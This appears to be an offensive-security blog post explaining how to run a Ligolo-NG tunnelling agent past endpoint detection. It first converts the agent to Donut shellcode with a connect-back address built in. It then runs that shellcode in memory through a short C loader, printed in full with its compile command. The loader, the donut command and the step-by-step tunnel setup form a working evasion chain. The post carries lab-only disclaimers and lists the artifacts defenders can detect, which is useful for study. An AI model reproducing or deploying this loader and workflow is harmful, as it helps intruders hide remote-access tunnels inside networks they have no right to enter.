Ligolo – Bypass EDR (Binary Way)

binary

In Part 1, I used a PowerShell loader to execute a Donut-converted Ligolo agent. It worked well in the lab, but PowerShell introduces its own problems: AMSI inspection, script logging, execution policies, and endpoint restrictions. 

For Part 2, I wanted to remove PowerShell completely.

The new approach uses a small native Windows executable called ligolo-runner.exe.

Its only purpose is to read the converted Ligolo payload from disk and execute it inside its own process.

The final folder contains only two files:

ligolo-runner.exe
agent.bin

Both files must be placed in the same directory.

This article is intended only for isolated labs and authorized security assessments. Do not use tunneling agents or custom loaders on systems you do not own or have explicit permission to test.

The Idea

The original Ligolo agent.exe can be detected because it is a known executable with recognizable static characteristics.

As in Part 1, Donut changes what lands on disk. The difference is how the resulting payload is executed.

Unlike the previous PowerShell approach, this version does not inject the payload into Notepad or another unrelated process.

The Ligolo payload runs inside the dedicated runner itself. Technically, this is local in-process loading rather than remote-process injection.

Step 1 – Convert the Ligolo Agent

I started with the 64-bit Windows version of the Ligolo-NG agent and converted it into a raw binary payload using Donut.

The connection parameters for the authorized lab proxy were included during payload generation.

donut -f 1 -a 2 -x 3 -k 2 -o agent.bin -p "-connect 192.168.X.235:11601 -ignore-cert" -i agent.exe

The resulting file is:

agent.bin

This is no longer a regular Windows executable. It cannot be started directly and requires a compatible loader.

Donut supports different architectures, output formats, encryption options, PE files, and runtime parameters. The available options are documented in the official Donut repository.

Take the time to understand the options instead of copying them blindly. Small changes in architecture or exit behavior can determine whether the converted Go executable runs correctly.

Step 2 – The Native Runner

The native runner is a small C program created specifically for this experiment.

  1. Locate and read the payload
    The runner finds agent.bin beside ligolo-runner.exe, opens it and determines its size.

  2. Load it into memory
    VirtualAlloc creates a writable memory region, and fread copies the complete payload into it.

  3. Make the memory executable
    VirtualProtect changes the region from read/write to read/execute, then the instruction cache is flushed.

  4. Execute the payload
    The allocated memory is called as a function. The Donut payload starts the Ligolo agent inside the runner process and remains active.

I am sharing loader.c as a small reference implementation. The code is short enough to study line by line, and seeing the complete version makes it easier to connect the Windows API calls with the behavior an EDR can observe.

The goal is not to encourage blind copying. Compile it, debug it, monitor it, and understand what every function does. Then compare its file, memory, and network telemetry with the PowerShell version from Part 1.

Use it only in an isolated lab or during an explicitly authorized assessment. A working loader is not proof that an EDR has been universally bypassed—it is simply a controlled example for learning how in-memory execution works and how defenders can detect it.

loader.c
See full script Hide script ⌄
#include 
#include 

// Minimal shellcode runner: agent.bin must sit next to this exe.
// Dedicated process so the Go runtime inside Donut has a stable host.
int main(void) {
    char path[MAX_PATH];
    GetModuleFileNameA(NULL, path, MAX_PATH);
    char *slash = strrchr(path, '\\');
    if (slash) *(slash + 1) = '\0';
    strcat(path, "agent.bin");

    FILE *f = fopen(path, "rb");
    if (!f) { return 1; }
    fseek(f, 0, SEEK_END);
    long size = ftell(f);
    fseek(f, 0, SEEK_SET);

    void *mem = VirtualAlloc(NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (!mem) { fclose(f); return 2; }
    fread(mem, 1, size, f);
    fclose(f);

    DWORD old;
    VirtualProtect(mem, size, PAGE_EXECUTE_READ, &old);
    FlushInstructionCache(GetCurrentProcess(), mem, size);

    // Run as the main payload and wait forever — donut -x 3 blocks here.
    ((void (*)(void))mem)();

    // Should never be reached with -x 3
    for (;;) Sleep(3600000);
    return 0;
}

Step 3 – Compile the Runner

I compiled the C source as a 64-bit Windows executable using MinGW-w64:

x86_64-w64-mingw32-gcc -O2 -s -o ligolo-runner.exe loader.c

This produces:

ligolo-runner.exe

The -O2 option enables compiler optimization, while -s removes unnecessary symbol information from the finished executable.

Before transferring anything to the Windows lab, the directory should look like this:

ligolo-binary/
├── agent.bin
└── ligolo-runner.exe

Step 4 – Start the Lab Test

The Ligolo proxy must already be running on the authorized lab system.

When ligolo-runner.exe starts, it searches for agent.bin in the same directory, loads it into memory, and transfers execution to the Donut payload.

If the architecture and embedded connection details are correct, the agent should connect to the Ligolo proxy.

From that point, the standard Ligolo workflow applies:

  • select the authorized agent session;

  • create or select the TUN interface;

  • add only the routes included in the assessment scope; and

  • start the tunnel.

The normal tunneling workflow is covered in the official Ligolo-NG documentation.

Why Use a Binary Instead of PowerShell?

PowerShell is convenient, but it introduces several additional detection surfaces:

  • PowerShell script-block logging;

  • AMSI inspection;

  • execution-policy restrictions;

  • suspicious PowerShell command lines;

  • constrained-language mode; and

  • application-control policies.

The native runner removes those PowerShell-specific dependencies. It is also easier to launch as a dedicated process without first starting another application to host the payload.

However, this does not automatically make it invisible.

The binary version introduces its own artifacts:

  • an additional unsigned executable on disk;

  • a neighboring binary payload;

  • writable memory becoming executable;

  • execution from a private memory region; and

  • a persistent outbound connection to the Ligolo proxy.

PowerShell avoidance and EDR avoidance are not the same thing.

Does It Really Bypass EDR?

The honest answer is: it depends.

The technique may avoid a static signature that detects the original Ligolo executable. It does not change the tool’s behavior.

A modern EDR may still observe:

  • ligolo-runner.exe opening and reading agent.bin;

  • a large payload being copied into private memory;

  • memory protection changing from writable to executable;

  • execution entering memory that is not backed by a normal image;

  • an unfamiliar process creating a long-running encrypted connection; and

  • network traffic consistent with tunneling.

For that reason, I would describe this as changing the execution profile rather than guaranteeing an EDR bypass.

Passing one version of Windows Defender in one lab does not mean the same files will pass another EDR, another policy, or even the same product after a signature update.

PowerShell Version vs Binary Version

CharacteristicPowerShell versionBinary version
Requires PowerShellYesNo
AMSI and script visibilityHigherNot applicable
Additional executableNot alwaysYes
Dedicated host processNoYes
Compilation requiredNoYes
Suspicious memory behaviorYesYes
Guaranteed EDR bypassNoNo

The native runner is cleaner for this specific experiment, but cleaner does not necessarily mean stealthier.

Some security products pay more attention to PowerShell. Others may treat a new unsigned native executable as the stronger signal.

Final Thoughts

Part 1 used PowerShell and a separate host process.

Part 2 replaces that chain with a dedicated native runner that executes the converted Ligolo agent inside its own process.

The binary approach removes PowerShell, AMSI, and script-policy dependencies. At the same time, it creates a different set of file, memory, and network indicators.

That is the real lesson from the exercise:

Every time you remove one detection surface, look at the new surface you have created.

Happy Hacking everyone!

Offsec SM – Ph03n1x

 
Scroll to Top